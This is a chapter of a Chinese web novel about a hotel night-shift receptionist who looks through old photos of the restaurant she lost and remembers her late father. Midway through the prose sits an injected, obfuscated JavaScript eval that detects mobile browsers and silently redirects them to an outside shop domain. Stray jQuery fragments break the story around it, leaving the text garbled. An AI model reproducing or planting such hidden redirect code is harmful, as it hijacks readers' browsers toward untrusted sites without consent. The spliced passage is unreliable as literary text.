“林深。”
有人叫她。林深猛地回过神，前台电脑屏幕还亮着，Opera系统停留在入住界面。酒店大堂安安静静，空调轻轻吹着，墙上的时钟显示凌晨三点零二分。
“想什么呢？”同事从后面探出脑袋，“叫你好几次了。”
林深眨了眨眼。刚刚那几分钟，她又回去了——回到那家日料店，回到账本，回到十八万房租，回到陆沉坐在吧台后面抽烟的样子。
“没什么。”她笑了一下，“发呆。”
“餐厅那边要明天住客名单。”
“好。”
她低头打开系统，打印、核对、装订，动作熟练得像机器。这些事情她已经做了不知道多少遍——入住、退房、开房卡、打印名单、接电话。夜班的时间很慢，慢得有时候像不会流动。
把名单送出去以后，大堂又恢复安静。同事缩回员工区继续刷短视频，偶尔发出一两声笑。林深坐在前台后面看着落地玻璃外的街道，凌晨的城市很安静，偶尔有出租车经过，车灯在玻璃上划过去，又很快消失。她低头看了眼时间，三点二十，离下班还早。于是打开电脑，准备继续剪视频。
那段时间她总在做视频，不是为了赚钱也不是为了火，更像是一种习惯。白天不想说的话，放进视频里，没人知道。她打开素材库，里面只剩一些最近拍的夜景——天桥、路灯、雨天的车窗，还有酒店后门那条永远没什么人的小路。翻来翻去，没什么能用的。她想了想，登录了自己的iCloud。
账号已经很久没整理过，里面东西很多——照片、视频、备忘录、文件夹，乱七八糟堆在一起。她开始往前翻。去年，前年，再往前。进度条一点一点往前拖，屏幕上的时间也在往回走。
忽然，她停住了。一个文件夹，名字很简单，只有两个字：开业。她愣了一下，已经很多年没点开过。点进去以后，照片一张张跳出来——装修完成那天的门头，第一次亮起来的招牌，吧台，灯光，墙面，定制的桌椅，还有她站在店门口拍的第一张照片。那时候天气很好，太阳照在玻璃上，整个店亮得发光。
林深安静地看着，继续往后翻。有夏禾，有来福，有刚送来的花篮，有第一批客人，还有很多她自己都忘记为什么会拍的东西——一盘寿司，一张菜单，一杯酒，甚至还有一张空荡荡的吧台。她看着那些照片，忽然有些恍惚。照片里的人都在笑，没有人知道后面会发生什么——不知道父亲会出事，不知道店会关门，不知道陆沉会变成后来那个样子，不知道她会坐在酒店前台上夜班。所有人都以为未来还很长。
她继续翻，又点开几个视频。风铃响，客人进门，后厨忙碌，来福在大厅里跑来跑去，尾巴摇得飞快。有人在笑，有人在说话，背景音乐有点吵，镜头晃得厉害，一看就是随手拍的。林深戴上耳机安静地看着，有那么一瞬间，她甚至闻到了店里的味道——木头、清酒、三文鱼，还有刚拖完地的消毒水。仿佛那家店从来没有消失，只是暂时停在了某个下午。
视频放完，自动跳到下一段。还是店，还是来福，还是那些已经过去的人。林深靠在椅背上，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691751|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
忽然想起父亲，没有任何原因，就是突然想起。她看着满屏幕的照片——装修、开业、营业、朋友、来福、夏禾，什么都有。然后她继续往下翻，因为她知道里面不会有父亲。
父亲来店那天，她没有拍照，没有录像，没有合影，什么都没有。因为那天太普通了，普通得和过去无数次见面没有任何区别。他只是来看一眼，转了一圈，说了几句话，然后走了。
谁会想到那是最后一次。
林深把照片关掉，没有继续想。因为有些事情想下去没有结果。她重新打开剪映，开始剪视频。视频的标题还没想好，她把那些画面拖进时间轴——开业，来福，空荡荡的大厅，营业中的吧台，夕阳照进来的玻璃——一个接一个。音乐慢慢铺开，她盯着屏幕发呆，忽然发现自己做的根本不是视频，是在拼命留住一些已经过去的东西。
凌晨四点四十，视频终于导出，进度条走到一百。她长长吐出一口气，眼睛有些酸，头也开始疼。同事已经趴在桌上睡着了，整个酒店安静得只剩空调声。林深保存好文件，起身去了员工休息室。
房间很小，一张床，一个柜子，一盏昏黄的小灯。她躺下以后，甚至没来得及盖被子，就闭上了眼。也许是因为刚刚看了太多以前的照片，也许是因为最近总在想那家店，又或者只是太累。没过多久，她睡着了。
梦来得很快。
梦里，风铃响了一声。她推开门，重新走进那家店。大厅里的灯还亮着，吧台安安静静，来福趴在门口，慢慢抬起头，看向她。而店里，空无一人。